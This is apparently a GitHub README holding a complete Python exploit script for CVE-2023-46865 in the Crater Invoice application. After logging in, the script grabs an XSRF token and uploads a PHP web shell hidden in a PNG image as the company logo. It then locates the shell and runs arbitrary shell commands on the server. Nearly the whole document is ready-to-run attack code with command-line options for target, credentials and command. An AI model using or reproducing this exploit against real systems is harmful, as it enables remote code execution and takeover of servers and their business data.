README.md
Rendering markdown...
#!/usr/bin/python3
"""
By: @asylumdx | @faisalfs10x
GitHub: https://github.com/asylumdx
https://github.com/faisalfs10x
Reference: https://nvd.nist.gov/vuln/detail/CVE-2023-46865
"""
import requests
import argparse
import json
import urllib.parse
def auth_login(target, email, password, cmd="id"):
# Create a session to persist the login session_cookies.
session = requests.Session()
# Define the headers for the session.
session.headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"X-Requested-With": "XMLHttpRequest",
"Content-Type": "application/json;charset=utf-8",
"Origin": target,
"Company": "2"
#"X-XSRF-TOKEN": csrf_cookie_value
}
proxies = {
'http': 'http://127.0.0.1:8080'
}
login_url = f"{target}/login"
login_data = {
"email": email,
"password": password,
"remember": ""
}
req_login = session.post(login_url, json=login_data, headers=session.headers, allow_redirects=False)
print("\n[X] Attempt to login [X]")
#print(f"Response Status Code: {req_login.status_code}\n")
#print(req_login.content.decode('utf-8'))
if req_login.status_code == 302 and "dashboard" in req_login.text:
print('[+] Login successfully! [+]')
print("\n[X] Fetching XSRF-TOKEN [X]")
req_company_info_url = f"{target}/admin/settings/company-info"
req_company_info_xsrf = session.get(req_company_info_url, allow_redirects=False)
#print(f"[+] Response Status Code: {req_company_info_xsrf.status_code} [+]")
session_cookies = req_company_info_xsrf.cookies
# 'session_cookies' is the RequestsCookieJar
session_cookies_dict = requests.utils.dict_from_cookiejar(session_cookies)
xsrf_token = urllib.parse.unquote(session_cookies_dict.get('XSRF-TOKEN'))
if xsrf_token:
print(f"[+] XSRF-TOKEN found [+]")
#print(f"[+] XSRF-TOKEN value: {xsrf_token} [+]")
else:
print("XSRF-TOKEN cookie not found.")
upload_url = f"{target}/api/v1/company/upload-logo"
filename = "boom.php"
b64_payload = "iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAIAAAD8GO2jAAAAVklEQVR4nGNcPD89JF9HRVRbMF0oJF9QT1NUWzFdKTs/PljAc143k/yPi9t+X9N9qif38ePJv1/vBnyyMFiXHMwwCkbBKBgFo2AUjIJRMApGwSgYfgAAI0oXArodV7QAAAAASUVORK5CYII="
# b64_payload is a base64 encoded PNG image data generated by https://github.com/huntergregal/PNG-IDAT-Payload-Generator/blob/master/generate.py
body = ('''------WebKitFormBoundaryBrjvmcLj2KCzQnvy
Content-Disposition: form-data; name="company_logo"
{"name":"''' + filename + '''","data":"data:image/png;base64,''' + b64_payload + '''"}
------WebKitFormBoundaryBrjvmcLj2KCzQnvy
Content-Disposition: form-data; name="is_company_logo_removed"
true
------WebKitFormBoundaryBrjvmcLj2KCzQnvy--''')
session.headers = {
"User-Agent": "Boomerz-718",
"company": "1",
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate",
"X-Requested-With": "XMLHttpRequest",
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryBrjvmcLj2KCzQnvy",
"Origin": target,
"Referer": target + "/admin/settings/company-info",
"X-XSRF-TOKEN": xsrf_token
}
print(f"\n[X] Uploading shell: {filename} [X]")
req_upload = session.post(upload_url, headers=session.headers, data=body, allow_redirects=False)
if req_upload.status_code == 200 and '{"success":true}' in req_upload.text:
print('[+] File upload successfully! [+]')
#print(req_upload.text)
print("\n[X] Enumerating shell path [X]")
enumshell = target + "/api/v1/bootstrap"
req_enumshell = session.get(enumshell)
#print(f"[+] response enumshell: {req_enumshell} [+]\n")
if req_enumshell.status_code == 200:
json_data = req_enumshell.json() #Parse the response content as JSON
#print(json_data)
logo_url = json_data['current_user']['companies'][0]['logo']
print(f"[+] Webshell: {logo_url} [+]\n")
shell = logo_url + "?0=shell_exec"
data = {'1': cmd}
print(f"[+] Executing command: {cmd} [+]\n")
shell_response = requests.post(shell, data=data)
bincontent = shell_response.content
byte_remove = [
b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x00 \x00\x00\x00 \x08\x02\x00\x00\x00\xfc\x18\xed\xa3\x00\x00\x00VIDATx\x9cc\\",
b"\nX\xc0s^7\x93\xfc\x8f\x8b\xdb~_\xd3}\xaa'\xf7\xf1\xe3\xc9\xbf_\xef\x06|\xb20X\x97\x1c\xcc0\nF\xc1(\x18\x05\xa3`\x14\x8c\x82Q0\nF\xc1(\x18~\x00\x00#J\x17\x02\xba\x1dW\xb4\x00\x00\x00\x00IEND\xaeB`\x82"
]
for xx in byte_remove:
bincontent = bincontent.replace(xx, b'')
try:
# Convert bytes to string
output_string = bincontent.decode('utf-8', errors='ignore')
lines = output_string.split('\n')
for line in lines:
print(" " + line)
except UnicodeDecodeError as e:
print(f"Error: Unable to decode the content. {e}")
else:
print(f"[-] Error: HTTP status code {req_enumshell.status_code} [-]")
elif req_upload.status_code == 401 and 'Unauthenticated.' in req_upload.text:
print('[-] Failed, Action Unauthorized!! [-]')
else:
print('[-] File upload failed [-]')
else:
print('[-] Login failed [-]')
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Crater Invoice RCE - CVE-2023-46865')
parser.add_argument('--target', required=True, help='Target URL')
parser.add_argument('--email', required=True, help='Email')
parser.add_argument('--password', required=True, help='Password')
parser.add_argument('--cmd', required=False, default="id", help='Command to execute')
args = parser.parse_args()
auth_login(args.target, args.email, args.password, args.cmd)